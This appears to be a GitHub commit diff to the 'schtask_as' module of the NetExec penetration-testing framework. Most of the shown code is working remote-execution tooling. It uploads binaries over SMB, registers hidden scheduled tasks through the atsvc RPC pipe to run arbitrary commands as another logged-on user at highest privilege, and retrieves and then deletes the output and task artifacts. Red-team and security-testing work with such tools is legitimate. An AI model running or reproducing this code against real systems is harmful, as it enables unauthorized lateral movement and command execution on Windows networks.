Skip to content

Commit 03dfe7f

Browse files
authored
Merge branch 'main' into neff-linting
2 parents 172bddb + 8ca5874 commit 03dfe7f

2 files changed

Lines changed: 145 additions & 382 deletions

File tree

nxc/modules/schtask_as.py

Lines changed: 36 additions & 275 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,6 @@
11
import os
2-
import contextlib
3-
from time import sleep
4-
from datetime import datetime, timedelta
5-
from impacket.dcerpc.v5.dtypes import NULL
6-
from impacket.dcerpc.v5 import tsch, transport
7-
from nxc.helpers.misc import gen_random_string
8-
from nxc.paths import TMP_PATH
9-
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
2+
from traceback import format_exc
3+
from nxc.protocols.smb.atexec import TSCH_EXEC
104

115

126
class NXCModule:
@@ -31,28 +25,28 @@ def options(self, context, module_options):
3125
nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD=whoami
3226
nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD='bin.exe --option' BINARY=bin.exe
3327
"""
34-
self.cmd = self.binary = self.user = self.task = self.file = self.location = self.time = None
28+
self.command_to_run = self.binary_to_upload = self.run_task_as = self.task_name = self.output_filename = self.output_file_location = self.time = None
3529
self.share = "C$"
3630
self.tmp_dir = "C:\\Windows\\Temp\\"
3731
self.tmp_share = self.tmp_dir.split(":")[1]
3832

3933
if "CMD" in module_options:
40-
self.cmd = module_options["CMD"]
34+
self.command_to_run = module_options["CMD"]
4135

4236
if "BINARY" in module_options:
43-
self.binary = module_options["BINARY"]
37+
self.binary_to_upload = module_options["BINARY"]
4438

4539
if "USER" in module_options:
46-
self.user = module_options["USER"]
40+
self.run_task_as = module_options["USER"]
4741

4842
if "TASK" in module_options:
49-
self.task = module_options["TASK"]
43+
self.task_name = module_options["TASK"]
5044

5145
if "FILE" in module_options:
52-
self.file = module_options["FILE"]
46+
self.output_filename = module_options["FILE"]
5347

5448
if "LOCATION" in module_options:
55-
self.location = module_options["LOCATION"]
49+
self.output_file_location = module_options["LOCATION"]
5650

5751
name = "schtask_as"
5852
description = "Remotely execute a scheduled task as a logged on user"
@@ -61,31 +55,31 @@ def options(self, context, module_options):
6155
def on_admin_login(self, context, connection):
6256
self.logger = context.log
6357

64-
if self.cmd is None:
58+
if self.command_to_run is None:
6559
self.logger.fail("You need to specify a CMD to run")
6660
return 1
6761

68-
if self.user is None:
62+
if self.run_task_as is None:
6963
self.logger.fail("You need to specify a USER to run the command as")
7064
return 1
7165

72-
if self.binary:
73-
if not os.path.isfile(self.binary):
74-
self.logger.fail(f"Cannot find {self.binary}")
66+
if self.binary_to_upload:
67+
if not os.path.isfile(self.binary_to_upload):
68+
self.logger.fail(f"Cannot find {self.binary_to_upload}")
7569
return 1
7670
else:
77-
self.logger.display(f"Uploading {self.binary}")
78-
with open(self.binary, "rb") as binary_to_upload:
71+
self.logger.display(f"Uploading {self.binary_to_upload}")
72+
with open(self.binary_to_upload, "rb") as binary_to_upload:
7973
try:
80-
self.binary_name = os.path.basename(self.binary)
81-
connection.conn.putFile(self.share, f"{self.tmp_share}{self.binary_name}", binary_to_upload.read)
82-
self.logger.success(f"Binary {self.binary_name} successfully uploaded in {self.tmp_share}{self.binary_name}")
74+
self.binary_to_upload_name = os.path.basename(self.binary_to_upload)
75+
connection.conn.putFile(self.share, f"{self.tmp_share}{self.binary_to_upload_name}", binary_to_upload.read)
76+
self.logger.success(f"Binary {self.binary_to_upload_name} successfully uploaded in {self.tmp_share}{self.binary_to_upload_name}")
8377
except Exception as e:
8478
self.logger.fail(f"Error writing file to share {self.tmp_share}: {e}")
8579
return 1
8680

87-
# Returnes self.cmd or \Windows\temp\BinToExecute.exe depending if BINARY=BinToExecute.exe
88-
self.cmd = self.cmd if not self.binary else f"{self.tmp_share}{self.cmd}"
81+
# Returnes self.command_to_run or \Windows\temp\BinToExecute.exe depending if BINARY=BinToExecute.exe
82+
self.command_to_run = self.command_to_run if not self.binary_to_upload else f"{self.tmp_share}{self.command_to_run}"
8983
self.logger.display("Connecting to the remote Service control endpoint")
9084
try:
9185
exec_method = TSCH_EXEC(
@@ -94,23 +88,23 @@ def on_admin_login(self, context, connection):
9488
connection.username,
9589
connection.password,
9690
connection.domain,
97-
self.user,
98-
self.cmd,
99-
self.file,
100-
self.task,
101-
self.location,
10291
connection.kerberos,
10392
connection.aesKey,
10493
connection.host,
10594
connection.kdcHost,
10695
connection.hash,
10796
self.logger,
10897
connection.args.get_output_tries,
109-
"C$", # This one shouldn't be hardcoded but I don't know where to retrieve the info
98+
connection.args.share,
99+
self.run_task_as,
100+
self.command_to_run,
101+
self.output_filename,
102+
self.task_name,
103+
self.output_file_location,
110104
)
111105

112-
self.logger.display(f"Executing {self.cmd} as {self.user}")
113-
output = exec_method.execute(self.cmd, True)
106+
self.logger.display(f"Executing {self.command_to_run} as {self.run_task_as}")
107+
output = exec_method.execute(self.command_to_run, True)
114108

115109
try:
116110
if not isinstance(output, str):
@@ -122,246 +116,13 @@ def on_admin_login(self, context, connection):
122116
for line in output.splitlines():
123117
self.logger.highlight(line.rstrip())
124118

125-
except Exception as e:
126-
if "SCHED_S_TASK_HAS_NOT_RUN" in str(e):
127-
self.logger.fail("Task was not run, seems like the specified user has no active session on the target")
128-
with contextlib.suppress(Exception):
129-
exec_method.deleteartifact()
130-
else:
131-
self.logger.fail(f"Failed to execute command: {e}")
119+
except Exception:
120+
self.logger.debug("Error executing command via atexec, traceback:")
121+
self.logger.debug(format_exc())
132122
finally:
133-
if self.binary:
123+
if self.binary_to_upload:
134124
try:
135-
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.binary_name}")
136-
context.log.success(f"Binary {self.binary_name} successfully deleted")
125+
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.binary_to_upload_name}")
126+
context.log.success(f"Binary {self.binary_to_upload_name} successfully deleted")
137127
except Exception as e:
138-
context.log.fail(f"Error deleting {self.binary_name} on {self.share}: {e}")
139-
140-
141-
class TSCH_EXEC:
142-
def __init__(self, target, share_name, username, password, domain, user, cmd, file, task, location, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
143-
self.__target = target
144-
self.__username = username
145-
self.__password = password
146-
self.__domain = domain
147-
self.__share_name = share_name
148-
self.__lmhash = ""
149-
self.__nthash = ""
150-
self.__outputBuffer = b""
151-
self.__retOutput = False
152-
self.__aesKey = aesKey
153-
self.__doKerberos = doKerberos
154-
self.__remoteHost = remoteHost
155-
self.__kdcHost = kdcHost
156-
self.__tries = tries
157-
self.__output_filename = None
158-
self.__share = share
159-
self.logger = logger
160-
self.cmd = cmd
161-
self.user = user
162-
self.file = file
163-
self.task = task
164-
self.location = location
165-
166-
if hashes is not None:
167-
if hashes.find(":") != -1:
168-
self.__lmhash, self.__nthash = hashes.split(":")
169-
else:
170-
self.__nthash = hashes
171-
172-
if self.__password is None:
173-
self.__password = ""
174-
175-
stringbinding = f"ncacn_np:{self.__target}[\\pipe\\atsvc]"
176-
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
177-
self.__rpctransport.setRemoteHost(self.__remoteHost)
178-
179-
if hasattr(self.__rpctransport, "set_credentials"):
180-
# This method exists only for selected protocol sequences.
181-
self.__rpctransport.set_credentials(
182-
self.__username,
183-
self.__password,
184-
self.__domain,
185-
self.__lmhash,
186-
self.__nthash,
187-
self.__aesKey,
188-
)
189-
self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
190-
191-
def deleteartifact(self):
192-
dce = self.__rpctransport.get_dce_rpc()
193-
if self.__doKerberos:
194-
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
195-
dce.set_credentials(*self.__rpctransport.get_credentials())
196-
dce.connect()
197-
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
198-
dce.bind(tsch.MSRPC_UUID_TSCHS)
199-
self.logger.display(f"Deleting task \\{self.task}")
200-
tsch.hSchRpcDelete(dce, f"\\{self.task}")
201-
dce.disconnect()
202-
203-
def execute(self, command, output=False):
204-
self.__retOutput = output
205-
self.execute_handler(command)
206-
return self.__outputBuffer
207-
208-
def output_callback(self, data):
209-
self.__outputBuffer = data
210-
211-
def get_end_boundary(self):
212-
# Get current date and time + 5 minutes
213-
end_boundary = datetime.now() + timedelta(minutes=5)
214-
215-
# Format it to match the format in the XML: "YYYY-MM-DDTHH:MM:SS.ssssss"
216-
return end_boundary.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3]
217-
218-
def gen_xml(self, command, fileless=False):
219-
xml = f"""<?xml version="1.0" encoding="UTF-16"?>
220-
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
221-
<Triggers>
222-
<RegistrationTrigger>
223-
<EndBoundary>{self.get_end_boundary()}</EndBoundary>
224-
</RegistrationTrigger>
225-
</Triggers>
226-
<Principals>
227-
<Principal id="LocalSystem">
228-
<UserId>{self.user}</UserId>
229-
<RunLevel>HighestAvailable</RunLevel>
230-
</Principal>
231-
</Principals>
232-
<Settings>
233-
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
234-
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
235-
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
236-
<AllowHardTerminate>true</AllowHardTerminate>
237-
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
238-
<IdleSettings>
239-
<StopOnIdleEnd>true</StopOnIdleEnd>
240-
<RestartOnIdle>false</RestartOnIdle>
241-
</IdleSettings>
242-
<AllowStartOnDemand>true</AllowStartOnDemand>
243-
<Enabled>true</Enabled>
244-
<Hidden>true</Hidden>
245-
<RunOnlyIfIdle>false</RunOnlyIfIdle>
246-
<WakeToRun>false</WakeToRun>
247-
<ExecutionTimeLimit>P3D</ExecutionTimeLimit>
248-
<Priority>7</Priority>
249-
</Settings>
250-
<Actions Context="LocalSystem">
251-
<Exec>
252-
<Command>cmd.exe</Command>
253-
"""
254-
if self.__retOutput:
255-
fileLocation = "\\Windows\\Temp\\" if self.location is None else self.location
256-
if self.file is None:
257-
self.__output_filename = os.path.join(fileLocation, gen_random_string(6))
258-
else:
259-
self.__output_filename = os.path.join(fileLocation, self.file)
260-
if fileless:
261-
local_ip = self.__rpctransport.get_socket().getsockname()[0]
262-
argument_xml = f" <Arguments>/C {command} &gt; \\\\{local_ip}\\{self.__share_name}\\{self.__output_filename} 2&gt;&amp;1</Arguments>"
263-
else:
264-
argument_xml = f" <Arguments>/C {command} &gt; {self.__output_filename} 2&gt;&amp;1</Arguments>"
265-
266-
elif self.__retOutput is False:
267-
argument_xml = f" <Arguments>/C {command}</Arguments>"
268-
269-
self.logger.debug(f"Generated argument XML: {argument_xml}")
270-
xml += argument_xml
271-
xml += """
272-
</Exec>
273-
</Actions>
274-
</Task>
275-
"""
276-
return xml
277-
278-
def execute_handler(self, command, fileless=False):
279-
dce = self.__rpctransport.get_dce_rpc()
280-
281-
if self.__doKerberos:
282-
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
283-
284-
dce.set_credentials(*self.__rpctransport.get_credentials())
285-
dce.connect()
286-
# Give self.task a random string as name if not already specified
287-
self.task = gen_random_string(8) if self.task is None else self.task
288-
xml = self.gen_xml(command, fileless)
289-
290-
self.logger.info(f"Task XML: {xml}")
291-
self.logger.info(f"Creating task \\{self.task}")
292-
try:
293-
# windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported
294-
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
295-
dce.bind(tsch.MSRPC_UUID_TSCHS)
296-
tsch.hSchRpcRegisterTask(dce, f"\\{self.task}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
297-
except Exception as e:
298-
if "ERROR_NONE_MAPPED" in str(e):
299-
self.logger.fail(f"User {self.user} is not connected on the target, cannot run the task")
300-
with contextlib.suppress(Exception):
301-
tsch.hSchRpcDelete(dce, f"\\{self.task}")
302-
elif e.error_code and hex(e.error_code) == "0x80070005":
303-
self.logger.fail("Create schedule task got blocked.")
304-
with contextlib.suppress(Exception):
305-
tsch.hSchRpcDelete(dce, f"\\{self.task}")
306-
elif "ERROR_TRUSTED_DOMAIN_FAILURE" in str(e):
307-
self.logger.fail(f"User {self.user} does not exist in the domain.")
308-
with contextlib.suppress(Exception):
309-
tsch.hSchRpcDelete(dce, f"\\{self.task}")
310-
elif "SCHED_S_TASK_HAS_NOT_RUN" in str(e):
311-
with contextlib.suppress(Exception):
312-
tsch.hSchRpcDelete(dce, f"\\{self.task}")
313-
elif "ERROR_ALREADY_EXISTS" in str(e):
314-
self.logger.fail(f"Create schedule task failed: {e}")
315-
else:
316-
self.logger.fail(f"Create schedule task failed: {e}")
317-
with contextlib.suppress(Exception):
318-
tsch.hSchRpcDelete(dce, f"\\{self.task}")
319-
return
320-
321-
done = False
322-
while not done:
323-
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task}")
324-
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task}")
325-
if resp["pLastRuntime"]["wYear"] != 0:
326-
done = True
327-
else:
328-
sleep(2)
329-
330-
self.logger.info(f"Deleting task \\{self.task}")
331-
tsch.hSchRpcDelete(dce, f"\\{self.task}")
332-
333-
if self.__retOutput:
334-
if fileless:
335-
while True:
336-
try:
337-
with open(os.path.join(TMP_PATH, self.__output_filename)) as output:
338-
self.output_callback(output.read())
339-
break
340-
except OSError:
341-
sleep(2)
342-
else:
343-
smbConnection = self.__rpctransport.get_smb_connection()
344-
tries = 1
345-
while True:
346-
try:
347-
self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}")
348-
smbConnection.getFile(self.__share, self.__output_filename, self.output_callback)
349-
break
350-
except Exception as e:
351-
if tries >= self.__tries:
352-
self.logger.fail("Schtask_as: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'.")
353-
break
354-
if "STATUS_BAD_NETWORK_NAME" in str(e):
355-
self.logger.fail(f"Schtask_as: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
356-
break
357-
if "SHARING" in str(e) or "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
358-
sleep(3)
359-
tries += 1
360-
else:
361-
self.logger.debug(str(e))
362-
363-
if self.__outputBuffer:
364-
self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}")
365-
smbConnection.deleteFile(self.__share, self.__output_filename)
366-
367-
dce.disconnect()
128+
context.log.fail(f"Error deleting {self.binary_to_upload_name} on {self.share}: {e}")

0 commit comments

Comments
 (0)